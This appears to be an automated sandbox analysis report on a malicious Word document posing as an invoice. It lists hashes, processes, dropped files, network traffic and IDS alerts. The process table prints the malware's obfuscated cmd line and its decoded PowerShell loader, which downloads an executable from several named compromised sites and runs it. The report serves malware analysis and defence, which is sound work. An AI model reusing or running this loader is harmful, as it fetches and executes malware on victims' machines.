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| File name: | Inv_121820186ALF061995.doc |
| Full analysis: | https://app.any.run/tasks/e7caf359-6a7c-4c9d-9b9f-d0bd9bfc5c66 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 18, 2018, 19:53:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 17:38:00 2018, Last Saved Time/Date: Tue Dec 18 17:38:00 2018, Number of Pages: 1, Number of Words: 6, Number of Characters: 37, Security: 0 |
| MD5: | A819F445411587921202244B8AC5462D |
| SHA1: | ECF1C4FE8C82C18B243E7DC9E1E05B7A9ED1192B |
| SHA256: | 9B3AFC1AD9BCAC889DC3A6BB8112ED4AE20D2A1F58EBD1D0FA0610824F40DB41 |
| SSDEEP: | 1536:+C81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadINQsO/oly+a9:+C8GhDS0o9zTGOZD6EbzCdINQsO/o |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2956)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2956)
Runs app for hidden code execution
- cmd.exe (PID: 2848)
Executes PowerShell scripts
- cmd.exe (PID: 2320)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 2704)
Application was dropped or rewritten from another process
- archivesymbol.exe (PID: 2584)
- 540.exe (PID: 3656)
- archivesymbol.exe (PID: 4088)
- 540.exe (PID: 2364)
Downloads executable files from the Internet
- powershell.exe (PID: 2704)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 936)
- cmd.exe (PID: 2724)
- cmd.exe (PID: 3240)
- cmd.exe (PID: 2848)
Application launched itself
- cmd.exe (PID: 2724)
Creates files in the user directory
- powershell.exe (PID: 2704)
Executable content was dropped or overwritten
- powershell.exe (PID: 2704)
- 540.exe (PID: 2364)
Starts itself from another location
- 540.exe (PID: 2364)
Connects to unusual port
- archivesymbol.exe (PID: 2584)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2956)
Creates files in the user directory
- WINWORD.EXE (PID: 2956)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:18 17:38:00 |
| ModifyDate: | 2018:12:18 17:38:00 |
| Pages: | 1 |
| Words: | 6 |
| Characters: | 37 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 42 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
45
Monitored processes
14
Malicious processes
5
Suspicious processes
4
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2956 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Inv_121820186ALF061995.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 936 | c:\d30780576296\r9468007954711\O56815873352260\..\..\..\windows\system32\cmd.exe /c %PrOgrAmdatA:~0,1%%prOGramDATa:~9,2% /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2724 | CmD /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2780 | C:\Windows\system32\cmd.exe /S /D /c" Echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $j833='t461';$k229=new-object Net.WebClient;$F675='http://www.thejarfactory.com/kwNOBVI@http://www.installeco.com/Da22xAN@http://www.nelsonpto.org/nHD451mbM@http://www.garagetactics.com/8DoVVwy@http://www.pflegeeltern-tirol.info/qIuXcn0cTk'.Split('@');$W444='p165';$i396 = '540';$w043='P211';$A503=$env:temp+'\'+$i396+'.exe';foreach($c334 in $F675){try{$k229.DownloadFile($c334, $A503);$O603='N479';If ((Get-Item $A503).length -ge 80000) {Invoke-Item $A503;$k342='G606';break;}}catch{}}$m417='q010';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2848 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^|find "SHCm"') DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3240 | C:\Windows\system32\cmd.exe /c ftype|find "SHCm" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3480 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3564 | find "SHCm" | C:\Windows\system32\find.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2320 | Cmd | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2704 | powershell $j833='t461';$k229=new-object Net.WebClient;$F675='http://www.thejarfactory.com/kwNOBVI@http://www.installeco.com/Da22xAN@http://www.nelsonpto.org/nHD451mbM@http://www.garagetactics.com/8DoVVwy@http://www.pflegeeltern-tirol.info/qIuXcn0cTk'.Split('@');$W444='p165';$i396 = '540';$w043='P211';$A503=$env:temp+'\'+$i396+'.exe';foreach($c334 in $F675){try{$k229.DownloadFile($c334, $A503);$O603='N479';If ((Get-Item $A503).length -ge 80000) {Invoke-Item $A503;$k342='G606';break;}}catch{}}$m417='q010'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 803
Read events
1 322
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8A7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FF558017.wmf | — | |
MD5:— | SHA256:— | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F9B393D.wmf | — | |
MD5:— | SHA256:— | |||
| 2704 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P2MQHPCY6E92BV6036C2.temp | — | |
MD5:— | SHA256:— | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8A9FAB2C.wmf | wmf | |
MD5:DDA5E51B0843109E4A7E2C8631803D30 | SHA256:B7B10197D67E0E62227FD273A3993DBC9487FE8D92B380650ABB8E7B328C3B01 | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C81320EE.wmf | wmf | |
MD5:7B8F48380678C70D3A40665A49D46F9B | SHA256:D7F6010662DCA56F19402BFFEC07175A6E7ACEF4BA25DB263358A0D79D4A5E38 | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C0E05B10780841AE15969333DA0BFE18 | SHA256:8C88F01A0964845A6E238B57D62EF68368276FA649122C778F7D617F63C6E443 | |||
| 2704 | powershell.exe | C:\Users\admin\AppData\Local\Temp\540.exe | executable | |
MD5:350C40194804A902B826E1B01E7BFA19 | SHA256:78A2DE239D871A04204F6C8884ECFFACBD3E51AE6AF20C2F89D75AB09427125D | |||
| 2956 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:A1AC43987B7B56248895270F4B8EFA88 | SHA256:F18EE74050D3BE06F34F996F2A668361BD1199A0B60C1D6E3AC058E7059EE98D | |||
| 2364 | 540.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:350C40194804A902B826E1B01E7BFA19 | SHA256:78A2DE239D871A04204F6C8884ECFFACBD3E51AE6AF20C2F89D75AB09427125D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
4
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2704 | powershell.exe | GET | 404 | 185.87.187.166:80 | http://www.thejarfactory.com/kwNOBVI | NL | html | 324 b | malicious |
2704 | powershell.exe | GET | 200 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN/ | US | executable | 124 Kb | malicious |
2704 | powershell.exe | GET | 301 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN | US | html | 242 b | malicious |
2584 | archivesymbol.exe | GET | — | 78.189.21.131:80 | http://78.189.21.131/ | TR | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2704 | powershell.exe | 185.87.187.166:80 | www.thejarfactory.com | Astralus B.V. | NL | suspicious |
2584 | archivesymbol.exe | 213.120.119.231:8443 | — | British Telecommunications PLC | GB | malicious |
2704 | powershell.exe | 162.212.131.129:80 | www.installeco.com | A2 Hosting, Inc. | US | malicious |
2584 | archivesymbol.exe | 78.189.21.131:80 | — | Turk Telekom | TR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.thejarfactory.com |
| malicious |
www.installeco.com |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2704 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2704 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2704 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2704 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2704 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2704 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2704 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |